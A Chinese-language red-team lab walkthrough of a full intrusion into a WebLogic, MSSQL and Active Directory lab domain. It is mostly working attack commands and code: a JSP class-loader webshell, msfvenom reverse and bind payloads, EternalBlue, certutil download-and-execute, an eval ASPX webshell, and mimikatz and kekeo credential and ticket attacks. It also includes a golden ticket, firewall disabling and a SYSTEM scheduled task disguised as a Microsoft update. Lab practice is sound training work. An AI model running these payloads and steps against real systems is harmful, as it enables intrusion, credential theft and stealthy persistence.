渗透测试红队靶场1环境搭建网络拓扑DMZ192.168.162.0/24VMnet8二层网络10.10.20.0/24VMnet10三层网络10.10.10.0/24VMnet14主机网卡配置**kali攻击机**配置VMnet8ip为192.168.162.128windows 2012weblogic主机配置VMnet8VMnet10ip为192.168.162.130和10.10.20.12windows 7配置VMnet10VMnet14ip为10.10.20.7和10.10.10.7windows 2008SQL Server 2008VMnet14ip为10.10.10.18windows 2008Exchange 2010VMnet14ip为10.10.10.8服务配置域控Windows Server 2008 IIS Exchange 2013 邮件服务目录还原密码redteam!#45 主机名owa 域管理员administrator:Admin12345域内服务器 MssqlWindows Server 2008 SQL Server 2008 被配置了非约束委派主机名sqlserver-2008 本地管理员:Administrator:Admin12345 域账户redteam\sqlserver:Server12345 被配置了约束委派 Mssqlsa:sa启动mssql数据库net start MSSQLSERVER域内个人 PCWindows 7主机名work-7 本地管理员:johnadmin!#45 域账户redteam\saul:admin!#45单机服务器Windows server r2 weblogic主机名weblogic 本地管理员:Administrator:Admin12345 weblogic weblogicweblogic123访问 http://ip:7001 weblogic 安装目录C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain手动运行下 startWebLogic.cmd运行成功外网打点信息收集nmap扫描目标网段nmap -sn 192.168.162.0/24发现192.168.162.130主机存活对192.168.162.130主机进行端口扫描nmap -sS -Pn --min-rate 1000 -p- 192.168.162.1305985端口开放后续可尝试WinRM远控进行横向移动7001端口开放Oracle WebLogic 的默认管理端口可能存在可被利用的反序列化漏洞或弱口令漏洞探测访问7001端口进行目录扫描访问/console版本信息WebLogic Server Version: 12.1.3.0.0网上搜索该版本有没有漏洞可以利用参考链接https://kradress.github.io/2022/04/04/%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E%E4%B9%8Bweblogic.html测试CVE-2017-10271是否可利用CVE-2017-10271 影响版本:weblogic 版本10.3.6.0.0;12.2.1.1.0;12.2.1.2.0;12.1.3.0.0访问漏洞接口/wls-wsat/CoordinatorPortType11出现该界面说明可能存在CVE-2017-10271漏洞通过向目标主机写入文件验证是否可以RCEPS:wls-wsat路径 servers/AdminServer/tmp/_WL_internal/wls-wsat//root/Oracle/Middleware/… 是一个具体的安装实例路径。在实际环境中这个前缀会随 WebLogic 安装位置如 C:\Oracle\Middleware 或 /home/weblogic/Oracle而变化。但后半部分 servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/ 是相对于域根目录的固定结构构造post请求上传文件访问刚刚上传的文件写入失败了直接使用漏洞利用工具试试工具地址https://github.com/shack2/javaserializetools工具检测到漏洞漏洞利用上传jsp马%! class U extends ClassLoader { U(ClassLoader c) { super(c); } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz Class.forName(sun.misc.BASE64Decoder); return (byte[]) clazz.getMethod(decodeBuffer, String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Class clazz Class.forName(java.util.Base64); Object decoder clazz.getMethod(getDecoder).invoke(null); return (byte[]) decoder.getClass().getMethod(decode, String.class).invoke(decoder, str); } } % % String cls request.getParameter(cmd); if (cls ! null) { new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext); } %蚁剑连接连接地址http://192.168.162.130:7001/wls-wsat/test.jsp 连接密码cmd连接成功提权拿下该主机后发现不是system用户需要进行提权msf上线该主机生成木马并上传给该主机msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.162.128 LPORT4444 -f exe -o shell.exemsf监听等待反弹shelluse exploit/multi/handler set LHOST 192.168.162.128 set PAYLOAD windows/x64/meterpreter/reverse_tcp set ReverseAllowProxy true run运行木马文件上线msf成功获得会话利用msf提权getsystem应该是因为UAC认证导致提权失败开启一个拥有高完整性令牌的会话background use exploit/windows/local/bypassuac set SESSION 3 set LHOST 192.168.162.128 set LPORT 4444 exploit显示利用失败因为该会话已经拥有高完整性令牌了whoami /all查看当前权限当前的会话拥有 SeImpersonatePrivilege 权限并且处于 High Mandatory Level高完整性级别使用godpotato进行提权工具地址 https://github.com/BeichenDream/GodPotato/releases上传该工具到目标主机运行工具进行提权也失败了尝试使用cs内置模块提权用 payload_inject 把 MSF 会话推给 CS在 CS 上创建一个 Beacon HTTP 或 Beacon HTTPS 监听器记下端口比如 80 或 443。这个监听器是给 MSF 注入的 payload 回连用的。在 MSF 中把当前会话挂到后台background然后加载注入模块use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set LHOST 192.168.162.128【CS服务端IP】 set LPORT 1111【CS监听器端口】 set DisablePayloadHandler true set PrependMigrate true set session 你的MSF会话ID run成功上线使用cs内置模块提权提权成功内网渗透信息收集systeminfo该主机处于工作组环境有两张网卡内网网段为10.10.20.0/24fscan扫一下c段fscan.exe -h 10.10.20.1/24网络信息发现20网段还有一台主机存活ip为10.10.20.7该主机名为work-7配有两张网卡还有一张是10网段的10网段就是第三层内网漏洞信息可能存在永恒之蓝漏洞隧道搭建使用msf简易版添加通往20网段的路由run autoroute -s 10.10.20.0/24漏洞利用对work-7进行永恒之蓝漏洞利用use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.10.20.7 set payload windows/x64/meterpreter/bind_tcp set LPORT 4444 run拿下work-7最高权限无需提权永恒之蓝这个会话太不稳定了需要新建应该稳定的shell生成木马并上传给该主机msfvenom -p windows/x64/meterpreter/bind_tcp LPORT4445 -f exe -o shell1.exe运行木马监听4445端口等待kali连接msf连接目标主机的4445端口use exploit/multi/handler set RHOST 10.10.20.7 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4445 run成功获得会话cs上线该主机在 CS 中创建正向监听器生成正向木马上传并在目标上执行木马在 MSF 会话中执行upload /home/ep/bind_beacon.exe C:\\Windows\\Temp\\bind_beacon.exe execute-fC:\\Windows\\Temp\\bind_beacon.exe通过代理让 CS 去“连”目标在跳板机 Beacon 的控制台输入connect10.10.20.78443上线成功横向移动信息收集使用msf的kiwi模块进行密码抓取load kiwi creds_allsaul REDTEAM e90127c07127ed12f4ebf668acca53e9(LM) 518b98ad4178a53695dc997aa02d455c(NTLM) saul REDTEAM.RED admin!#45上传fscan到work-7上对10网段进行扫描upload /home/ep/fs64.exe fs64.exe对10.10.10.0/24网段进行扫描fs64.exe -t 10.10.10.1/24信息汇总其他存活主机10.10.10.8和10.10.10.1810.10.10.18详细信息主机名sqlserver-2008 身份独立或域内成员服务器主机名暗示其为数据库服务器。 系统Windows Server 2008 R2。 服务开放了 80 (IIS7)、135、139、445、1433端口。 账号sa 密码sa10.10.10.8详细信息主机名owa 身份域控制器DC扫描结果明确标出了 [] DC:owa.redteam.red。 系统Windows Server 2008 R2。 服务开放了 80、88(Kerberos)、135、139、443、445、808、8172 端口。Web 标题显示为 IIS7。隧道搭建在msf中添加到10网段的路由run autoroute -s 10.10.10.0/24开启socks5代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 set SRVHOST 127.0.0.1 run -j浏览器配置代理proxychains配置文件sqlserver-2008漏洞利用利用mssql弱口令爆破前面fscan已经爆出来账号密码是sa:sa使用SharpSQLTools工具https://github.com/uknowsec/SharpSQLToolsxp_cmdshell执行命令SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoamint authority\network service低权限需要提权clr提权# 安装 CLR 程序集 SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami # 启用 CLR SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr # 使用 CLR 版 EfsPotato 提权执行命令 SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami提权成功msf上线生成木马msfvenom -p windows/x64/meterpreter/bind_tcp LPORT4449 -f exe -o shell4.exe由于sqlserver-2008无法直接出网所以借助window7作为中转上传木马到window7在window7上使用http-server开启一个简易http服务powershell -c $listener New-Object System.Net.HttpListener; $listener.Prefixes.Add(http://:80/); $listener.Start(); Write-Host Server started on port 80; while ($true) { $context $listener.GetContext(); $file C:\Windows\system32\shell2.exe; if (Test-Path $file) { $bytes [System.IO.File]::ReadAllBytes($file); $context.Response.ContentLength64 $bytes.Length; $context.Response.OutputStream.Write($bytes, 0, $bytes.Length); }; $context.Response.Close(); }执行命令下载木马SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell certutil -urlcache -split -f http://10.10.10.7/shell2.exe C:/Users/public/shell2.exe不知道为啥一直拒绝访问使用工具MDUT测试一下连接10.10.10.18的Mssql工具地址https://github.com/SafeGroceryStore/MDUT连接数据库权限很低尝试上传木马上传成功了尝试用SharpSQLTools以高权限执行一下执行超时没有获得会话直接用mssql管理工具执行木马msf连接成功获得低权限会话思路二该主机中还开放了80端口可以先尝试给网站上传一句话木马获得一个webshell的会话然后再通过webshell上传执行木马上线msf找到网站真实路径c:\inetpub\wwwroot创建一个Windows批处理文件2.batecho ^%%^Page Language^^Jscript^%%^^%%eval^(Request^.Item^[^saul^^]^,^unsafe^^)^;%%^ c:\inetpub\wwwroot\1.aspx执行该文件会在目标主机的c:\inetpub\wwwroot\目录下生成一个asp木马文件使用mssql管理工具上传并执行该会话权限太低拒绝访问c:\inetpub\wwwroot\目录利用SharpSQLTools以高权限执行该文件蚁剑连接http://10.10.10.18/1.asp连接密码saul即可获得webshell虽然权限很低但可以通过webshell上传执行木马文件上线msf之后再在msf中提权上传木马文件并执行msf中主动连接use exploit/multi/handler set RHOST 10.10.10.18 set PAYLOAD windows/x64/meterpreter/bind_tcp set LPORT 4449 run成功获得一个低权限会话权限提升先尝试用msf的getsystem提权失败了利用未打补丁的系统漏洞提权查看系统补丁寻找可利用的漏洞提权systeminfo micropoor.txt(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do type micropoor.txt|find /i %i|| echo %i you can fuck)del /f /q /a micropoor.txt先尝试利用 KB3045171 / MS15-051使用ms15-051.exe或 ms15-051x64.exe进行提权工具地址https://github.com/SecWiki/windows-kernel-exploits/raw/master/MS15-051/MS15-051-KB3045171.zip上传工具并运行命令查看权限ms15-051x64.exe whoami提权成功思路二利用SharpSQLTools获取的高权限会话执行cs的beacon木马从而直接在cs中上线高权限会话但是因为我用SharpSQLTools连接数据库执行命令经常超时所以就没用这个方法上线cs使用ms15-051x64.exe运行木马程序可获得高权限beaconms15-051x64.exe beacon_sql.exe在cs中选择一个跳板beacon执行connect 10.10.10.18 8443提权成功owa信息收集在sqlserver机器上进行抓取凭据成功抓取到的账号密码User Name : Administrator Domain : REDTEAM Logon Server : OWA Password : Admin12345User Name : sqlserver Domain : REDTEAM Logon Server : OWA Password : Server12345漏洞探测可以先查一下域内用户有没有配置了约束性委派的工具地址https://github.com/mai-lang-chai/AD-Penetration-Testing-Tools/blob/master/AdFind.zipAdFind.exe -h 10.10.10.8 -u sqlserver -up Server12345 -b DCredteam,DCred -f ((samAccountType805306368)(msds-allowedtodelegateto*)) cn distinguishedName msds-allowedtodelegatetosqlserver账户被配置了约束性委派说明该账户被允许模拟任何用户去访问特定服务比如域控的 CIFS 服务。刚刚已经抓取到了sqlserver账户的密码我们现在可以控制sqlserver利用约束委派伪造 Administrator 访问 CIFS 服务的票据漏洞利用约束性委派利用工具地址https://github.com/gentilkiwi/kekeo/releases/伪造sqlserver的TGT票据在目标机器或者控制的一台能连通域控的机器上执行# 1. 申请 TGT kekeo.exe tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:TGT_sqlserver.kirbi exit # 2. 利用约束委派伪造 Administrator 访问 CIFS 服务的票据 kekeo.exe tgs::s4u /tgt:TGT_sqlserverREDTEAM.RED_krbtgt~redteam.redREDTEAM.RED.kirbi /user:Administratorredteam.red /service:cifs/owa.redteam.red exit导入票据使用 Mimikatz# 清空当前内存中的票据防止冲突 klist purge # 导入刚才伪造的票据 mimikatz.exe kerberos::ptt TGS_Administratorredteam.redREDTEAM.RED_cifs~owa.redteam.redREDTEAM.RED.kirbi exit我的mimikatz版本太老了可能没有kerberos模块只差最后一步就完成委派攻击了等我之后下个最新版再试试委派现在先试试别的漏洞突然想到可以使用cs中自带的mimikatz模块mimikatz kerberos::ptt TGS_Administratorredteam.redREDTEAM.RED_cifs~owa.redteam.redREDTEAM.RED.kirbi验证攻击是否成功shell dir \\owa\c$攻击成功向域控目录中写入木马文件copy C:\Windows\Temp\1.exe \\owa\c$\之前在sqlserver上抓密码时抓到了域管的密码可以使用psexec远控运行木马文件proxychains4 impacket-wmiexec REDTEAM.red/Administrator:Admin1234510.10.10.8成功连接上去并且是system权限尝试了手动使用psexec以及wmic执行但未成功可能是约束委派的权限问题或者其他操作问题使用msf中的psexec模块上线owause exploit/windows/smb/psexec set SMBUser administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 set payload windows/meterpreter/bind_tcp set rhost 10.10.10.8 run/exploit成功获得会话system权限尝试在msf的shell中运行cs的木马成功上线cs还可以使用zerologon拿下域控不过我前几个靶场用过几次了这个靶场主要想练一下别的至此已经拿下所有机器练习一下该域专门配置的漏洞GPP域内存在GPP组策略首选项漏洞可通过提取GPP相关文件中的加密密码并解密获取域内用户如admin的明文密码辅助域渗透。在域用户机器work-7机器上直接搜索 SYSVOL 目录中的 cpassword 关键字成功命中了一个文件…\Machine\Preferences\Groups\Groups.xml敏感信息nameAdministrator (内置): 说明这个策略是在配置本地内置 Administrator 账户 newNameadmin: 把管理员账号改名为了 admin cpasswordA48Hw1VXS/3M2Asazld/d7Fvvt42DD7pOJOn/utz7I: 这就是加密后的密码 漏洞核心点微软官方公布了用于加密这个 cpassword 的 AES 密钥硬编码在客户端意味着这个加密形同虚设。任何人只要拿到这串字符用公开的工具就能瞬间还原出明文密码。解密获得明文密码使用kali中的gpp-decrytp工具gpp-decrypt A48HwlVXS/3M2Asazld/d7Fvvt42DD7pOJGn/utz7I成功获得域管理员密码Admin12345尝试横向移动使用psexec远控sqlserverproxychains4 impacket-psexec redteam.red/administrator:Admin1234510.10.10.18远控成功持久化weblogic:计划任务实现持久化上传反向连接木马程序以下命令以 SYSTEM 权限创建任务每分钟执行一次指定程序并伪装成系统更新组件schtasks /create /tn Microsoft\Windows\Update\TelemetryUpdater /tr C:\Windows\Temp\re-weblogic.exe /sc minute /mo 1 /ru SYSTEM /rl highest /f/tn (Task Name)任务名称。为了隐蔽建议使用 Microsoft\Windows\ 路径前缀并模仿合法服务名如 TelemetryUpdater这会让它在任务计划程序里看起来像系统组件。/tr (Task Run)要执行的程序路径。确保路径指向你上传的木马建议放在 C:\Users\Public 或 C:\ProgramData 这类低权限可读写的目录。/sc (Schedule Type)触发频率。minute 表示按分钟配合 /mo 1 实现每分钟执行。/ru SYSTEM关键参数。以 NT AUTHORITY\SYSTEM 最高权限运行无需密码且用户无法交互或看到该进程。/rl highest以最高权限级别运行。/f如果同名任务已存在则强制覆盖。生成并上传反向连接木马注意木马对应的监听器的ip和端口的跳板机的地址和映射的端口目标主机上创建计划任务定时运行木马schtasks /create /tn Microsoft\Windows\Update\TelemetryUpdater /tr C:\Windows\Temp\reverse2-1.exe /sc minute /mo 1 /ru SYSTEM /rl highest /f黄金票据给work-7注入黄金票据注入黄金票据之前还不能访问域控c盘krbtgt NTLM-Hash4a67f14d5cc4fa22618c8b609e832db6domain-sidS-1-5-21-1359007890-1682372173-1631803504doaminredteam.redusernameaaa注入成功成功访问域控c盘共享建立ipc连接遇到的问题手工构造反序列化利用cve-2017-10271漏洞时利用失败原因找错了应用目录我按照10版本的应用目录写入的所以一直利用失败后来使用工具时发现12版本的应用目录是servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.wsat-endpoints-impl_12.1.3/8919zy/war/解决方法把写入路径换成12版对应的路径成功写入文件上传工具的时候经常出现超时现象原因工具过大导致上传时间超过了 Meterpreter 默认的 15 秒响应超时时间触发了 Rex::TimeoutError解决方法在 msfconsole 的交互模式下sessions--interact1--timeout40上传到windows7中的fscan运行失败原因可能是fscan 的 Go 语言版本与目标老系统不兼容解决方法换个适用于低版本系统的 fscan搭建靶场环境时启动 mssql 时报错原因SQL Server 的评估期试用期已过解决方法将虚拟机时间回滚打开时间和日期设置在任务栏右下角点击时间选择“更改日期和时间设置”。点击“更改日期和时间”按钮。把年份或月份往前调确保调整后的时间在 SQL Server 安装后的 180 天内。如果不确定安装时间直接往前调个半年或一年最稳妥。重启 SQL Server 服务net start MSSQLSERVER打sqlserver时上线msf第一天尝试了很方法都无法获取会话原因可能是和内网之间的连通不稳定第二天再打的时候有两种方法都可以成功了在cs中使用kekeo时出现循环报错ERROR kull_m_cli_read ; ReadConsole (0x00000006)原因Kekeo 在请求 TGT 时会尝试读取控制台输入来进入交互模式而 Beacon 的 shell 环境没有真正的交互式控制台导致读取失败并不断重试。解决方法换用Rubeus工具Rubeus 的 asktgt 命令功能与 Kekeo 的 tgt::ask 完全一致但可以直接通过 CS 的 execute-assembly 运行或者上传 exe 后在 shell 里执行不会卡在 ReadConsoleRubeus.exe asktgt /user:sqlserver /domain:redteam.red /password:Server12345 /outfile:TGT_sqlserver.kirbi或者可以尝试在命令中直接指定输出票据文件避免它尝试进入交互模式。有些版本的 Kekeo 支持 /ticket: 参数来指定输出路径kekeo.exe tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:TGT_sqlserver.kirbi exit命令末尾的 “exit” 是为了让它执行完后立即退出防止卡在交互界面。通过委派获取票据访问域控共享时需要不断使用mimikatz注入票据原因Mimikatz 的 kerberos::ptt 命令是将伪造或窃取的票据注入到当前进程或当前登录会话的内存中。这个注入是有作用范围的会话隔离如果在一个命令行窗口注入了票据然后新开一个窗口或者某些操作触发了新的网络登录会话新会话的内存里可能并没有这张票据。进程隔离如果以普通用户权限运行 Mimikatz 注入票据但随后用 SYSTEM 权限的工具去访问共享票据是注入在普通用户内存里的SYSTEM 进程无法使用它。认证触发直接使用 dir \dc\c$ 这类命令每次都可能触发一次新的 SMB 认证握手。如果当前会话的票据缓存状态不理想就可能认证失败迫使重新注入。解决方法建立ipc$连接之后就解决了net use \\DC这条命令的本质是主动向目标发起一次 SMB 认证并在成功后于当前系统内维持一个已认证的会话Session。一旦这个连接建立成功Windows 的网络重定向器就会在后续访问同一目标时优先复用这个已有的 SMB 会话而不是每次都重新走一遍完整的 Kerberos 认证流程。只要这个ipc$连接不断开或没有因超时等原因失效在这个会话生命周期内执行dir \\DC\c$、copy 文件到共享目录等操作都会直接沿用刚才认证成功的身份。之前注入票据 → 访问共享触发新认证可能失败→ 再次注入 → 再访问……后来注入票据 →net use \\DC用票据完成认证建立会话 → 后续所有共享操作都走这个已认证的会话无需再碰票据。操作要点与注意事项为了让这个方法稳定生效有几个细节需要注意注入票据的权限要与后续操作一致如果打算在普通域用户下操作就用该用户的权限运行 Mimikatz 注入票据。不要用 SYSTEM 权限的 Mimikatz 注入后再用普通用户去访问。先清理旧连接如果之前有过失败的连接或冲突的凭据建议先执行 net use * /del 清除所有现有连接再重新注入票据并建立 ipc$。连接命令本身不需要密码在票据已成功注入当前会话的前提下直接运行net use \\域控IP或主机名即可不加密码系统会自动使用内存中的 Kerberos 票据完成认证。主机名 vs IP在某些环境中使用 IP 地址访问可能无法正确匹配 Kerberos 票据中的 SPN导致认证失败。如果遇到问题尝试用域控的主机名FQDN 来建立连接。建立 ipc$ 连接相当于把“票据”这种临时凭证固化成了一个系统级的“通行证会话”从而避免了反复注入的麻烦。使用msf的psexec模块上线owa时失败了原因估计是防火墙的问题解决方法在之前用impacket-psexec工具建立的半交互shell中关闭防火墙netsh advfirewall set allprofiles state off可以成功上线了使用GPP横向移动时用admin作为用户名不行但administrator就可以原因之前用 admin 登录失败是因为 admin 并不是这个本地账户的真实名称而 administrator 才是登录时被系统认可的账户名。从 GPP 漏洞里拿到的 Admin12345 密码本身是正确的只是账户名在 “重命名” 这件事上和 GPP 策略里写的newName“admin” 之间产生了不匹配。账户名不一致可能的原因GPP 脚本解密时虽然 XML 里出现了 newName“admin”但这并不代表目标机器的本地管理员账户已经成功改名为 admin。在渗透场景中常见的情况有GPP 策略声明了重命名但未生效策略里虽然写了 newName“admin”但目标机器可能并未应用该策略例如机器不在该 GPP 的策略作用域内或者应用失败本地账户名仍然是默认的 Administrator。策略应用存在延迟GPP 策略在机器上的应用并非实时如果机器长时间未刷新组策略newName 可能尚未实际执行。因此拿到的密码属于 Administrator 这个账户但账户名并不是 admin。而在尝试 redteam.red\admin 时系统找不到这个账户自然就返回了 STATUS_LOGON_FAILURE 认证失败。更深层的技术限制RID 500 与 UAC 远程限制即使确实拿到了 “管理员” 的密码这里还有一个关键的 Windows 安全限制在起作用只有 RID 500 的账户才能远程登录在 Windows Vista 及之后的系统中本地管理员组里除了内置管理员账户RID 500默认名就是 Administrator之外的其他本地管理员账户默认禁止通过网络进行远程管理登录如 psexec、WMI。UAC 的远程限制会拦截 admin 这类非 RID 500 的本地管理员账户阻止其建立远程管理会话。
